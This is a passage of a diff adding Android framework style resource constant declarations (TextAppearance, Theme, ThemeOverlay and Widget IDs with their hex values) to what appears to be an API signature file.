+    field public static final int Holo_Light_SegmentedButton = 16974058; // 0x10300ea
+    field public static final int Holo_SegmentedButton = 16974057; // 0x10300e9
+    field public static final int MediaButton = 16973879; // 0x1030037
+    field public static final int MediaButton_Ffwd = 16973883; // 0x103003b
+    field public static final int MediaButton_Next = 16973881; // 0x1030039
+    field public static final int MediaButton_Pause = 16973885; // 0x103003d
+    field public static final int MediaButton_Play = 16973882; // 0x103003a
+    field public static final int MediaButton_Previous = 16973880; // 0x1030038
+    field public static final int MediaButton_Rew = 16973884; // 0x103003c
+    field public static final int TextAppearance = 16973886; // 0x103003e
+    field public static final int TextAppearance_DeviceDefault = 16974253; // 0x10301ad
+    field public static final int TextAppearance_DeviceDefault_DialogWindowTitle = 16974264; // 0x10301b8
+    field public static final int TextAppearance_DeviceDefault_Inverse = 16974254; // 0x10301ae
+    field public static final int TextAppearance_DeviceDefault_Large = 16974255; // 0x10301af
+    field public static final int TextAppearance_DeviceDefault_Large_Inverse = 16974256; // 0x10301b0
+    field public static final int TextAppearance_DeviceDefault_Medium = 16974257; // 0x10301b1
+    field public static final int TextAppearance_DeviceDefault_Medium_Inverse = 16974258; // 0x10301b2
+    field public static final int TextAppearance_DeviceDefault_SearchResult_Subtitle = 16974262; // 0x10301b6
+    field public static final int TextAppearance_DeviceDefault_SearchResult_Title = 16974261; // 0x10301b5
+    field public static final int TextAppearance_DeviceDefault_Small = 16974259; // 0x10301b3
+    field public static final int TextAppearance_DeviceDefault_Small_Inverse = 16974260; // 0x10301b4
+    field public static final int TextAppearance_DeviceDefault_Widget = 16974265; // 0x10301b9
+    field public static final int TextAppearance_DeviceDefault_Widget_ActionBar_Menu = 16974286; // 0x10301ce
+    field public static final int TextAppearance_DeviceDefault_Widget_ActionBar_Subtitle = 16974279; // 0x10301c7
+    field @Deprecated public static final int TextAppearance_DeviceDefault_Widget_ActionBar_Subtitle_Inverse = 16974283; // 0x10301cb
+    field public static final int TextAppearance_DeviceDefault_Widget_ActionBar_Title = 16974278; // 0x10301c6
+    field @Deprecated public static final int TextAppearance_DeviceDefault_Widget_ActionBar_Title_Inverse = 16974282; // 0x10301ca
+    field public static final int TextAppearance_DeviceDefault_Widget_ActionMode_Subtitle = 16974281; // 0x10301c9
+    field @Deprecated public static final int TextAppearance_DeviceDefault_Widget_ActionMode_Subtitle_Inverse = 16974285; // 0x10301cd
+    field public static final int TextAppearance_DeviceDefault_Widget_ActionMode_Title = 16974280; // 0x10301c8
+    field @Deprecated public static final int TextAppearance_DeviceDefault_Widget_ActionMode_Title_Inverse = 16974284; // 0x10301cc
+    field public static final int TextAppearance_DeviceDefault_Widget_Button = 16974266; // 0x10301ba
+    field public static final int TextAppearance_DeviceDefault_Widget_DropDownHint = 16974271; // 0x10301bf
+    field public static final int TextAppearance_DeviceDefault_Widget_DropDownItem = 16974272; // 0x10301c0
+    field public static final int TextAppearance_DeviceDefault_Widget_EditText = 16974274; // 0x10301c2
+    field public static final int TextAppearance_DeviceDefault_Widget_IconMenu_Item = 16974267; // 0x10301bb
+    field public static final int TextAppearance_DeviceDefault_Widget_PopupMenu = 16974275; // 0x10301c3
+    field public static final int TextAppearance_DeviceDefault_Widget_PopupMenu_Large = 16974276; // 0x10301c4
+    field public static final int TextAppearance_DeviceDefault_Widget_PopupMenu_Small = 16974277; // 0x10301c5
+    field public static final int TextAppearance_DeviceDefault_Widget_TabWidget = 16974268; // 0x10301bc
+    field public static final int TextAppearance_DeviceDefault_Widget_TextView = 16974269; // 0x10301bd
+    field public static final int TextAppearance_DeviceDefault_Widget_TextView_PopupMenu = 16974270; // 0x10301be
+    field public static final int TextAppearance_DeviceDefault_Widget_TextView_SpinnerItem = 16974273; // 0x10301c1
+    field public static final int TextAppearance_DeviceDefault_WindowTitle = 16974263; // 0x10301b7
+    field public static final int TextAppearance_DialogWindowTitle = 16973889; // 0x1030041
+    field public static final int TextAppearance_Holo = 16974075; // 0x10300fb
+    field public static final int TextAppearance_Holo_DialogWindowTitle = 16974103; // 0x1030117
+    field public static final int TextAppearance_Holo_Inverse = 16974076; // 0x10300fc
+    field public static final int TextAppearance_Holo_Large = 16974077; // 0x10300fd
+    field public static final int TextAppearance_Holo_Large_Inverse = 16974078; // 0x10300fe
+    field public static final int TextAppearance_Holo_Medium = 16974079; // 0x10300ff
+    field public static final int TextAppearance_Holo_Medium_Inverse = 16974080; // 0x1030100
+    field public static final int TextAppearance_Holo_SearchResult_Subtitle = 16974084; // 0x1030104
+    field public static final int TextAppearance_Holo_SearchResult_Title = 16974083; // 0x1030103
+    field public static final int TextAppearance_Holo_Small = 16974081; // 0x1030101
+    field public static final int TextAppearance_Holo_Small_Inverse = 16974082; // 0x1030102
+    field public static final int TextAppearance_Holo_Widget = 16974085; // 0x1030105
+    field public static final int TextAppearance_Holo_Widget_ActionBar_Menu = 16974112; // 0x1030120
+    field public static final int TextAppearance_Holo_Widget_ActionBar_Subtitle = 16974099; // 0x1030113
+    field public static final int TextAppearance_Holo_Widget_ActionBar_Subtitle_Inverse = 16974109; // 0x103011d
+    field public static final int TextAppearance_Holo_Widget_ActionBar_Title = 16974098; // 0x1030112
+    field public static final int TextAppearance_Holo_Widget_ActionBar_Title_Inverse = 16974108; // 0x103011c
+    field public static final int TextAppearance_Holo_Widget_ActionMode_Subtitle = 16974101; // 0x1030115
+    field public static final int TextAppearance_Holo_Widget_ActionMode_Subtitle_Inverse = 16974111; // 0x103011f
+    field public static final int TextAppearance_Holo_Widget_ActionMode_Title = 16974100; // 0x1030114
+    field public static final int TextAppearance_Holo_Widget_ActionMode_Title_Inverse = 16974110; // 0x103011e
+    field public static final int TextAppearance_Holo_Widget_Button = 16974086; // 0x1030106
+    field public static final int TextAppearance_Holo_Widget_DropDownHint = 16974091; // 0x103010b
+    field public static final int TextAppearance_Holo_Widget_DropDownItem = 16974092; // 0x103010c
+    field public static final int TextAppearance_Holo_Widget_EditText = 16974094; // 0x103010e
+    field public static final int TextAppearance_Holo_Widget_IconMenu_Item = 16974087; // 0x1030107
+    field public static final int TextAppearance_Holo_Widget_PopupMenu = 16974095; // 0x103010f
+    field public static final int TextAppearance_Holo_Widget_PopupMenu_Large = 16974096; // 0x1030110
+    field public static final int TextAppearance_Holo_Widget_PopupMenu_Small = 16974097; // 0x1030111
+    field public static final int TextAppearance_Holo_Widget_TabWidget = 16974088; // 0x1030108
+    field public static final int TextAppearance_Holo_Widget_TextView = 16974089; // 0x1030109
+    field public static final int TextAppearance_Holo_Widget_TextView_PopupMenu = 16974090; // 0x103010a
+    field public static final int TextAppearance_Holo_Widget_TextView_SpinnerItem = 16974093; // 0x103010d
+    field public static final int TextAppearance_Holo_WindowTitle = 16974102; // 0x1030116
+    field public static final int TextAppearance_Inverse = 16973887; // 0x103003f
+    field public static final int TextAppearance_Large = 16973890; // 0x1030042
+    field public static final int TextAppearance_Large_Inverse = 16973891; // 0x1030043
+    field public static final int TextAppearance_Material = 16974317; // 0x10301ed
+    field public static final int TextAppearance_Material_Body1 = 16974320; // 0x10301f0
+    field public static final int TextAppearance_Material_Body2 = 16974319; // 0x10301ef
+    field public static final int TextAppearance_Material_Button = 16974318; // 0x10301ee
+    field public static final int TextAppearance_Material_Caption = 16974321; // 0x10301f1
+    field public static final int TextAppearance_Material_DialogWindowTitle = 16974322; // 0x10301f2
+    field public static final int TextAppearance_Material_Display1 = 16974326; // 0x10301f6
+    field public static final int TextAppearance_Material_Display2 = 16974325; // 0x10301f5
+    field public static final int TextAppearance_Material_Display3 = 16974324; // 0x10301f4
+    field public static final int TextAppearance_Material_Display4 = 16974323; // 0x10301f3
+    field public static final int TextAppearance_Material_Headline = 16974327; // 0x10301f7
+    field public static final int TextAppearance_Material_Inverse = 16974328; // 0x10301f8
+    field public static final int TextAppearance_Material_Large = 16974329; // 0x10301f9
+    field public static final int TextAppearance_Material_Large_Inverse = 16974330; // 0x10301fa
+    field public static final int TextAppearance_Material_Medium = 16974331; // 0x10301fb
+    field public static final int TextAppearance_Material_Medium_Inverse = 16974332; // 0x10301fc
+    field public static final int TextAppearance_Material_Menu = 16974333; // 0x10301fd
+    field public static final int TextAppearance_Material_Notification = 16974334; // 0x10301fe
+    field public static final int TextAppearance_Material_Notification_Emphasis = 16974335; // 0x10301ff
+    field public static final int TextAppearance_Material_Notification_Info = 16974336; // 0x1030200
+    field public static final int TextAppearance_Material_Notification_Line2 = 16974337; // 0x1030201
+    field public static final int TextAppearance_Material_Notification_Time = 16974338; // 0x1030202
+    field public static final int TextAppearance_Material_Notification_Title = 16974339; // 0x1030203
+    field public static final int TextAppearance_Material_SearchResult_Subtitle = 16974340; // 0x1030204
+    field public static final int TextAppearance_Material_SearchResult_Title = 16974341; // 0x1030205
+    field public static final int TextAppearance_Material_Small = 16974342; // 0x1030206
+    field public static final int TextAppearance_Material_Small_Inverse = 16974343; // 0x1030207
+    field public static final int TextAppearance_Material_Subhead = 16974344; // 0x1030208
+    field public static final int TextAppearance_Material_Title = 16974345; // 0x1030209
+    field public static final int TextAppearance_Material_Widget = 16974347; // 0x103020b
+    field public static final int TextAppearance_Material_Widget_ActionBar_Menu = 16974348; // 0x103020c
+    field public static final int TextAppearance_Material_Widget_ActionBar_Subtitle = 16974349; // 0x103020d
+    field public static final int TextAppearance_Material_Widget_ActionBar_Subtitle_Inverse = 16974350; // 0x103020e
+    field public static final int TextAppearance_Material_Widget_ActionBar_Title = 16974351; // 0x103020f
+    field public static final int TextAppearance_Material_Widget_ActionBar_Title_Inverse = 16974352; // 0x1030210
+    field public static final int TextAppearance_Material_Widget_ActionMode_Subtitle = 16974353; // 0x1030211
+    field public static final int TextAppearance_Material_Widget_ActionMode_Subtitle_Inverse = 16974354; // 0x1030212
+    field public static final int TextAppearance_Material_Widget_ActionMode_Title = 16974355; // 0x1030213
+    field public static final int TextAppearance_Material_Widget_ActionMode_Title_Inverse = 16974356; // 0x1030214
+    field public static final int TextAppearance_Material_Widget_Button = 16974357; // 0x1030215
+    field public static final int TextAppearance_Material_Widget_Button_Borderless_Colored = 16974559; // 0x10302df
+    field public static final int TextAppearance_Material_Widget_Button_Colored = 16974558; // 0x10302de
+    field public static final int TextAppearance_Material_Widget_Button_Inverse = 16974548; // 0x10302d4
+    field public static final int TextAppearance_Material_Widget_DropDownHint = 16974358; // 0x1030216
+    field public static final int TextAppearance_Material_Widget_DropDownItem = 16974359; // 0x1030217
+    field public static final int TextAppearance_Material_Widget_EditText = 16974360; // 0x1030218
+    field public static final int TextAppearance_Material_Widget_IconMenu_Item = 16974361; // 0x1030219
+    field public static final int TextAppearance_Material_Widget_PopupMenu = 16974362; // 0x103021a
+    field public static final int TextAppearance_Material_Widget_PopupMenu_Large = 16974363; // 0x103021b
+    field public static final int TextAppearance_Material_Widget_PopupMenu_Small = 16974364; // 0x103021c
+    field public static final int TextAppearance_Material_Widget_TabWidget = 16974365; // 0x103021d
+    field public static final int TextAppearance_Material_Widget_TextView = 16974366; // 0x103021e
+    field public static final int TextAppearance_Material_Widget_TextView_PopupMenu = 16974367; // 0x103021f
+    field public static final int TextAppearance_Material_Widget_TextView_SpinnerItem = 16974368; // 0x1030220
+    field public static final int TextAppearance_Material_Widget_Toolbar_Subtitle = 16974369; // 0x1030221
+    field public static final int TextAppearance_Material_Widget_Toolbar_Title = 16974370; // 0x1030222
+    field public static final int TextAppearance_Material_WindowTitle = 16974346; // 0x103020a
+    field public static final int TextAppearance_Medium = 16973892; // 0x1030044
+    field public static final int TextAppearance_Medium_Inverse = 16973893; // 0x1030045
+    field public static final int TextAppearance_Small = 16973894; // 0x1030046
+    field public static final int TextAppearance_Small_Inverse = 16973895; // 0x1030047
+    field public static final int TextAppearance_StatusBar_EventContent = 16973927; // 0x1030067
+    field public static final int TextAppearance_StatusBar_EventContent_Title = 16973928; // 0x1030068
+    field public static final int TextAppearance_StatusBar_Icon = 16973926; // 0x1030066
+    field public static final int TextAppearance_StatusBar_Title = 16973925; // 0x1030065
+    field public static final int TextAppearance_SuggestionHighlight = 16974104; // 0x1030118
+    field public static final int TextAppearance_Theme = 16973888; // 0x1030040
+    field public static final int TextAppearance_Theme_Dialog = 16973896; // 0x1030048
+    field public static final int TextAppearance_Widget = 16973897; // 0x1030049
+    field public static final int TextAppearance_Widget_Button = 16973898; // 0x103004a
+    field public static final int TextAppearance_Widget_DropDownHint = 16973904; // 0x1030050
+    field public static final int TextAppearance_Widget_DropDownItem = 16973905; // 0x1030051
+    field public static final int TextAppearance_Widget_EditText = 16973900; // 0x103004c
+    field public static final int TextAppearance_Widget_IconMenu_Item = 16973899; // 0x103004b
+    field public static final int TextAppearance_Widget_PopupMenu_Large = 16973952; // 0x1030080
+    field public static final int TextAppearance_Widget_PopupMenu_Small = 16973953; // 0x1030081
+    field public static final int TextAppearance_Widget_TabWidget = 16973901; // 0x103004d
+    field public static final int TextAppearance_Widget_TextView = 16973902; // 0x103004e
+    field public static final int TextAppearance_Widget_TextView_PopupMenu = 16973903; // 0x103004f
+    field public static final int TextAppearance_Widget_TextView_SpinnerItem = 16973906; // 0x1030052
+    field public static final int TextAppearance_WindowTitle = 16973907; // 0x1030053
+    field public static final int Theme = 16973829; // 0x1030005
+    field public static final int ThemeOverlay = 16974407; // 0x1030247
+    field public static final int ThemeOverlay_DeviceDefault_Accent_DayNight = 16974564; // 0x10302e4
+    field public static final int ThemeOverlay_Material = 16974408; // 0x1030248
+    field public static final int ThemeOverlay_Material_ActionBar = 16974409; // 0x1030249
+    field public static final int ThemeOverlay_Material_Dark = 16974411; // 0x103024b
+    field public static final int ThemeOverlay_Material_Dark_ActionBar = 16974412; // 0x103024c
+    field public static final int ThemeOverlay_Material_Dialog = 16974550; // 0x10302d6
+    field public static final int ThemeOverlay_Material_Dialog_Alert = 16974551; // 0x10302d7
+    field public static final int ThemeOverlay_Material_Light = 16974410; // 0x103024a
+    field public static final int Theme_Black = 16973832; // 0x1030008
+    field public static final int Theme_Black_NoTitleBar = 16973833; // 0x1030009
+    field public static final int Theme_Black_NoTitleBar_Fullscreen = 16973834; // 0x103000a
+    field public static final int Theme_DeviceDefault = 16974120; // 0x1030128
+    field public static final int Theme_DeviceDefault_DayNight = 16974563; // 0x10302e3
+    field public static final int Theme_DeviceDefault_Dialog = 16974126; // 0x103012e
+    field public static final int Theme_DeviceDefault_DialogWhenLarge = 16974134; // 0x1030136
+    field public static final int Theme_DeviceDefault_DialogWhenLarge_NoActionBar = 16974135; // 0x1030137
+    field public static final int Theme_DeviceDefault_Dialog_Alert = 16974545; // 0x10302d1
+    field public static final int Theme_DeviceDefault_Dialog_MinWidth = 16974127; // 0x103012f
+    field public static final int Theme_DeviceDefault_Dialog_NoActionBar = 16974128; // 0x1030130
+    field public static final int Theme_DeviceDefault_Dialog_NoActionBar_MinWidth = 16974129; // 0x1030131
+    field public static final int Theme_DeviceDefault_InputMethod = 16974142; // 0x103013e
+    field public static final int Theme_DeviceDefault_Light = 16974123; // 0x103012b
+    field public static final int Theme_DeviceDefault_Light_DarkActionBar = 16974143; // 0x103013f
+    field public static final int Theme_DeviceDefault_Light_Dialog = 16974130; // 0x1030132
+    field public static final int Theme_DeviceDefault_Light_DialogWhenLarge = 16974136; // 0x1030138
+    field public static final int Theme_DeviceDefault_Light_DialogWhenLarge_NoActionBar = 16974137; // 0x1030139
+    field public static final int Theme_DeviceDefault_Light_Dialog_Alert = 16974546; // 0x10302d2
+    field public static final int Theme_DeviceDefault_Light_Dialog_MinWidth = 16974131; // 0x1030133
+    field public static final int Theme_DeviceDefault_Light_Dialog_NoActionBar = 16974132; // 0x1030134
+    field public static final int Theme_DeviceDefault_Light_Dialog_NoActionBar_MinWidth = 16974133; // 0x1030135
+    field public static final int Theme_DeviceDefault_Light_NoActionBar = 16974124; // 0x103012c
+    field public static final int Theme_DeviceDefault_Light_NoActionBar_Fullscreen = 16974125; // 0x103012d
+    field public static final int Theme_DeviceDefault_Light_NoActionBar_Overscan = 16974304; // 0x10301e0
+    field public static final int Theme_DeviceDefault_Light_NoActionBar_TranslucentDecor = 16974308; // 0x10301e4
+    field public static final int Theme_DeviceDefault_Light_Panel = 16974139; // 0x103013b
+    field public static final int Theme_DeviceDefault_NoActionBar = 16974121; // 0x1030129
+    field public static final int Theme_DeviceDefault_NoActionBar_Fullscreen = 16974122; // 0x103012a
+    field public static final int Theme_DeviceDefault_NoActionBar_Overscan = 16974303; // 0x10301df
+    field public static final int Theme_DeviceDefault_NoActionBar_TranslucentDecor = 16974307; // 0x10301e3
+    field public static final int Theme_DeviceDefault_Panel = 16974138; // 0x103013a
+    field public static final int Theme_DeviceDefault_Settings = 16974371; // 0x1030223
+    field public static final int Theme_DeviceDefault_Wallpaper = 16974140; // 0x103013c
+    field public static final int Theme_DeviceDefault_Wallpaper_NoTitleBar = 16974141; // 0x103013d
+    field public static final int Theme_Dialog = 16973835; // 0x103000b
+    field @Deprecated public static final int Theme_Holo = 16973931; // 0x103006b
+    field @Deprecated public static final int Theme_Holo_Dialog = 16973935; // 0x103006f
+    field @Deprecated public static final int Theme_Holo_DialogWhenLarge = 16973943; // 0x1030077
+    field @Deprecated public static final int Theme_Holo_DialogWhenLarge_NoActionBar = 16973944; // 0x1030078
+    field @Deprecated public static final int Theme_Holo_Dialog_MinWidth = 16973936; // 0x1030070
+    field @Deprecated public static final int Theme_Holo_Dialog_NoActionBar = 16973937; // 0x1030071
+    field @Deprecated public static final int Theme_Holo_Dialog_NoActionBar_MinWidth = 16973938; // 0x1030072
+    field @Deprecated public static final int Theme_Holo_InputMethod = 16973951; // 0x103007f
+    field @Deprecated public static final int Theme_Holo_Light = 16973934; // 0x103006e
+    field @Deprecated public static final int Theme_Holo_Light_DarkActionBar = 16974105; // 0x1030119
+    field @Deprecated public static final int Theme_Holo_Light_Dialog = 16973939; // 0x1030073
+    field @Deprecated public static final int Theme_Holo_Light_DialogWhenLarge = 16973945; // 0x1030079
+    field @Deprecated public static final int Theme_Holo_Light_DialogWhenLarge_NoActionBar = 16973946; // 0x103007a
+    field @Deprecated public static final int Theme_Holo_Light_Dialog_MinWidth = 16973940; // 0x1030074
+    field @Deprecated public static final int Theme_Holo_Light_Dialog_NoActionBar = 16973941; // 0x1030075
+    field @Deprecated public static final int Theme_Holo_Light_Dialog_NoActionBar_MinWidth = 16973942; // 0x1030076
+    field @Deprecated public static final int Theme_Holo_Light_NoActionBar = 16974064; // 0x10300f0
+    field @Deprecated public static final int Theme_Holo_Light_NoActionBar_Fullscreen = 16974065; // 0x10300f1
+    field @Deprecated public static final int Theme_Holo_Light_NoActionBar_Overscan = 16974302; // 0x10301de
+    field @Deprecated public static final int Theme_Holo_Light_NoActionBar_TranslucentDecor = 16974306; // 0x10301e2
+    field @Deprecated public static final int Theme_Holo_Light_Panel = 16973948; // 0x103007c
+    field @Deprecated public static final int Theme_Holo_NoActionBar = 16973932; // 0x103006c
+    field @Deprecated public static final int Theme_Holo_NoActionBar_Fullscreen = 16973933; // 0x103006d
+    field @Deprecated public static final int Theme_Holo_NoActionBar_Overscan = 16974301; // 0x10301dd
+    field @Deprecated public static final int Theme_Holo_NoActionBar_TranslucentDecor = 16974305; // 0x10301e1
+    field @Deprecated public static final int Theme_Holo_Panel = 16973947; // 0x103007b
+    field @Deprecated public static final int Theme_Holo_Wallpaper = 16973949; // 0x103007d
+    field @Deprecated public static final int Theme_Holo_Wallpaper_NoTitleBar = 16973950; // 0x103007e
+    field public static final int Theme_InputMethod = 16973908; // 0x1030054
+    field public static final int Theme_Light = 16973836; // 0x103000c
+    field public static final int Theme_Light_NoTitleBar = 16973837; // 0x103000d
+    field public static final int Theme_Light_NoTitleBar_Fullscreen = 16973838; // 0x103000e
+    field public static final int Theme_Light_Panel = 16973914; // 0x103005a
+    field public static final int Theme_Light_WallpaperSettings = 16973922; // 0x1030062
+    field public static final int Theme_Material = 16974372; // 0x1030224
+    field public static final int Theme_Material_Dialog = 16974373; // 0x1030225
+    field public static final int Theme_Material_DialogWhenLarge = 16974379; // 0x103022b
+    field public static final int Theme_Material_DialogWhenLarge_NoActionBar = 16974380; // 0x103022c
+    field public static final int Theme_Material_Dialog_Alert = 16974374; // 0x1030226
+    field public static final int Theme_Material_Dialog_MinWidth = 16974375; // 0x1030227
+    field public static final int Theme_Material_Dialog_NoActionBar = 16974376; // 0x1030228
+    field public static final int Theme_Material_Dialog_NoActionBar_MinWidth = 16974377; // 0x1030229
+    field public static final int Theme_Material_Dialog_Presentation = 16974378; // 0x103022a
+    field public static final int Theme_Material_InputMethod = 16974381; // 0x103022d
+    field public static final int Theme_Material_Light = 16974391; // 0x1030237
+    field public static final int Theme_Material_Light_DarkActionBar = 16974392; // 0x1030238
+    field public static final int Theme_Material_Light_Dialog = 16974393; // 0x1030239
+    field public static final int Theme_Material_Light_DialogWhenLarge = 16974399; // 0x103023f
+    field public static final int Theme_Material_Light_DialogWhenLarge_DarkActionBar = 16974552; // 0x10302d8
+    field public static final int Theme_Material_Light_DialogWhenLarge_NoActionBar = 16974400; // 0x1030240
+    field public static final int Theme_Material_Light_Dialog_Alert = 16974394; // 0x103023a
+    field public static final int Theme_Material_Light_Dialog_MinWidth = 16974395; // 0x103023b
+    field public static final int Theme_Material_Light_Dialog_NoActionBar = 16974396; // 0x103023c
+    field public static final int Theme_Material_Light_Dialog_NoActionBar_MinWidth = 16974397; // 0x103023d
+    field public static final int Theme_Material_Light_Dialog_Presentation = 16974398; // 0x103023e
+    field public static final int Theme_Material_Light_LightStatusBar = 16974549; // 0x10302d5
+    field public static final int Theme_Material_Light_NoActionBar = 16974401; // 0x1030241
+    field public static final int Theme_Material_Light_NoActionBar_Fullscreen = 16974402; // 0x1030242
+    field @Deprecated public static final int Theme_Material_Light_NoActionBar_Overscan = 16974403; // 0x1030243
+    field public static final int Theme_Material_Light_NoActionBar_TranslucentDecor = 16974404; // 0x1030244
+    field public static final int Theme_Material_Light_Panel = 16974405; // 0x1030245
+    field public static final int Theme_Material_Light_Voice = 16974406; // 0x1030246
+    field public static final int Theme_Material_NoActionBar = 16974382; // 0x103022e
+    field public static final int Theme_Material_NoActionBar_Fullscreen = 16974383; // 0x103022f
+    field @Deprecated public static final int Theme_Material_NoActionBar_Overscan = 16974384; // 0x1030230
+    field public static final int Theme_Material_NoActionBar_TranslucentDecor = 16974385; // 0x1030231
+    field public static final int Theme_Material_Panel = 16974386; // 0x1030232
+    field public static final int Theme_Material_Settings = 16974387; // 0x1030233
+    field public static final int Theme_Material_Voice = 16974388; // 0x1030234
+    field public static final int Theme_Material_Wallpaper = 16974389; // 0x1030235
+    field public static final int Theme_Material_Wallpaper_NoTitleBar = 16974390; // 0x1030236
+    field public static final int Theme_NoDisplay = 16973909; // 0x1030055
+    field public static final int Theme_NoTitleBar = 16973830; // 0x1030006
+    field public static final int Theme_NoTitleBar_Fullscreen = 16973831; // 0x1030007
+    field public static final int Theme_NoTitleBar_OverlayActionModes = 16973930; // 0x103006a
+    field public static final int Theme_Panel = 16973913; // 0x1030059
+    field public static final int Theme_Translucent = 16973839; // 0x103000f
+    field public static final int Theme_Translucent_NoTitleBar = 16973840; // 0x1030010
+    field public static final int Theme_Translucent_NoTitleBar_Fullscreen = 16973841; // 0x1030011
+    field public static final int Theme_Wallpaper = 16973918; // 0x103005e
+    field public static final int Theme_WallpaperSettings = 16973921; // 0x1030061
+    field public static final int Theme_Wallpaper_NoTitleBar = 16973919; // 0x103005f
+    field public static final int Theme_Wallpaper_NoTitleBar_Fullscreen = 16973920; // 0x1030060
+    field public static final int Theme_WithActionBar = 16973929; // 0x1030069
+    field public static final int Widget = 16973842; // 0x1030012
+    field public static final int Widget_AbsListView = 16973843; // 0x1030013
+    field public static final int Widget_ActionBar = 16973954; // 0x1030082
+    field public static final int Widget_ActionBar_TabBar = 16974068; // 0x10300f4
+    field public static final int Widget_ActionBar_TabText = 16974067; // 0x10300f3
+    field public static final int Widget_ActionBar_TabView = 16974066; // 0x10300f2
+    field public static final int Widget_ActionButton = 16973956; // 0x1030084
+    field public static final int Widget_ActionButton_CloseMode = 16973960; // 0x1030088
+    field public static final int Widget_ActionButton_Overflow = 16973959; // 0x1030087
+    field public static final int Widget_AutoCompleteTextView = 16973863; // 0x1030027
+    field public static final int Widget_Button = 16973844; // 0x1030014
+    field public static final int Widget_Button_Inset = 16973845; // 0x1030015
+    field public static final int Widget_Button_Small = 16973846; // 0x1030016
+    field public static final int Widget_Button_Toggle = 16973847; // 0x1030017
+    field public static final int Widget_CalendarView = 16974059; // 0x10300eb
+    field public static final int Widget_CompoundButton = 16973848; // 0x1030018
+    field public static final int Widget_CompoundButton_CheckBox = 16973849; // 0x1030019
+    field public static final int Widget_CompoundButton_RadioButton = 16973850; // 0x103001a
+    field public static final int Widget_CompoundButton_Star = 16973851; // 0x103001b
+    field public static final int Widget_DatePicker = 16974062; // 0x10300ee
+    field public static final int Widget_DeviceDefault = 16974144; // 0x1030140
+    field public static final int Widget_DeviceDefault_ActionBar = 16974187; // 0x103016b
+    field public static final int Widget_DeviceDefault_ActionBar_Solid = 16974195; // 0x1030173
+    field public static final int Widget_DeviceDefault_ActionBar_TabBar = 16974194; // 0x1030172
+    field public static final int Widget_DeviceDefault_ActionBar_TabText = 16974193; // 0x1030171
+    field public static final int Widget_DeviceDefault_ActionBar_TabView = 16974192; // 0x1030170
+    field public static final int Widget_DeviceDefault_ActionButton = 16974182; // 0x1030166
+    field public static final int Widget_DeviceDefault_ActionButton_CloseMode = 16974186; // 0x103016a
+    field public static final int Widget_DeviceDefault_ActionButton_Overflow = 16974183; // 0x1030167
+    field public static final int Widget_DeviceDefault_ActionButton_TextButton = 16974184; // 0x1030168
+    field public static final int Widget_DeviceDefault_ActionMode = 16974185; // 0x1030169
+    field public static final int Widget_DeviceDefault_AutoCompleteTextView = 16974151; // 0x1030147
+    field public static final int Widget_DeviceDefault_Button = 16974145; // 0x1030141
+    field public static final int Widget_DeviceDefault_Button_Borderless = 16974188; // 0x103016c
+    field public static final int Widget_DeviceDefault_Button_Borderless_Colored = 16974561; // 0x10302e1
+    field public static final int Widget_DeviceDefault_Button_Borderless_Small = 16974149; // 0x1030145
+    field public static final int Widget_DeviceDefault_Button_Colored = 16974560; // 0x10302e0
+    field public static final int Widget_DeviceDefault_Button_Inset = 16974147; // 0x1030143
+    field public static final int Widget_DeviceDefault_Button_Small = 16974146; // 0x1030142
+    field public static final int Widget_DeviceDefault_Button_Toggle = 16974148; // 0x1030144
+    field public static final int Widget_DeviceDefault_CalendarView = 16974190; // 0x103016e
+    field public static final int Widget_DeviceDefault_CheckedTextView = 16974299; // 0x10301db
+    field public static final int Widget_DeviceDefault_CompoundButton_CheckBox = 16974152; // 0x1030148
+    field public static final int Widget_DeviceDefault_CompoundButton_RadioButton = 16974169; // 0x1030159
+    field public static final int Widget_DeviceDefault_CompoundButton_Star = 16974173; // 0x103015d
+    field public static final int Widget_DeviceDefault_DatePicker = 16974191; // 0x103016f
+    field public static final int Widget_DeviceDefault_DropDownItem = 16974177; // 0x1030161
+    field public static final int Widget_DeviceDefault_DropDownItem_Spinner = 16974178; // 0x1030162
+    field public static final int Widget_DeviceDefault_EditText = 16974154; // 0x103014a
+    field public static final int Widget_DeviceDefault_ExpandableListView = 16974155; // 0x103014b
+    field public static final int Widget_DeviceDefault_FastScroll = 16974313; // 0x10301e9
+    field public static final int Widget_DeviceDefault_GridView = 16974156; // 0x103014c
+    field public static final int Widget_DeviceDefault_HorizontalScrollView = 16974171; // 0x103015b
+    field public static final int Widget_DeviceDefault_ImageButton = 16974157; // 0x103014d
+    field public static final int Widget_DeviceDefault_Light = 16974196; // 0x1030174
+    field public static final int Widget_DeviceDefault_Light_ActionBar = 16974243; // 0x10301a3
+    field public static final int Widget_DeviceDefault_Light_ActionBar_Solid = 16974247; // 0x10301a7
+    field @Deprecated public static final int Widget_DeviceDefault_Light_ActionBar_Solid_Inverse = 16974248; // 0x10301a8
+    field public static final int Widget_DeviceDefault_Light_ActionBar_TabBar = 16974246; // 0x10301a6
+    field @Deprecated public static final int Widget_DeviceDefault_Light_ActionBar_TabBar_Inverse = 16974249; // 0x10301a9
+    field public static final int Widget_DeviceDefault_Light_ActionBar_TabText = 16974245; // 0x10301a5
+    field @Deprecated public static final int Widget_DeviceDefault_Light_ActionBar_TabText_Inverse = 16974251; // 0x10301ab
+    field public static final int Widget_DeviceDefault_Light_ActionBar_TabView = 16974244; // 0x10301a4
+    field @Deprecated public static final int Widget_DeviceDefault_Light_ActionBar_TabView_Inverse = 16974250; // 0x10301aa
+    field public static final int Widget_DeviceDefault_Light_ActionButton = 16974239; // 0x103019f
+    field public static final int Widget_DeviceDefault_Light_ActionButton_CloseMode = 16974242; // 0x10301a2
+    field public static final int Widget_DeviceDefault_Light_ActionButton_Overflow = 16974240; // 0x10301a0
+    field public static final int Widget_DeviceDefault_Light_ActionMode = 16974241; // 0x10301a1
+    field @Deprecated public static final int Widget_DeviceDefault_Light_ActionMode_Inverse = 16974252; // 0x10301ac
+    field public static final int Widget_DeviceDefault_Light_AutoCompleteTextView = 16974203; // 0x103017b
+    field public static final int Widget_DeviceDefault_Light_Button = 16974197; // 0x1030175
+    field public static final int Widget_DeviceDefault_Light_Button_Borderless_Small = 16974201; // 0x1030179
+    field public static final int Widget_DeviceDefault_Light_Button_Inset = 16974199; // 0x1030177
+    field public static final int Widget_DeviceDefault_Light_Button_Small = 16974198; // 0x1030176
+    field public static final int Widget_DeviceDefault_Light_Button_Toggle = 16974200; // 0x1030178
+    field public static final int Widget_DeviceDefault_Light_CalendarView = 16974238; // 0x103019e
+    field public static final int Widget_DeviceDefault_Light_CheckedTextView = 16974300; // 0x10301dc
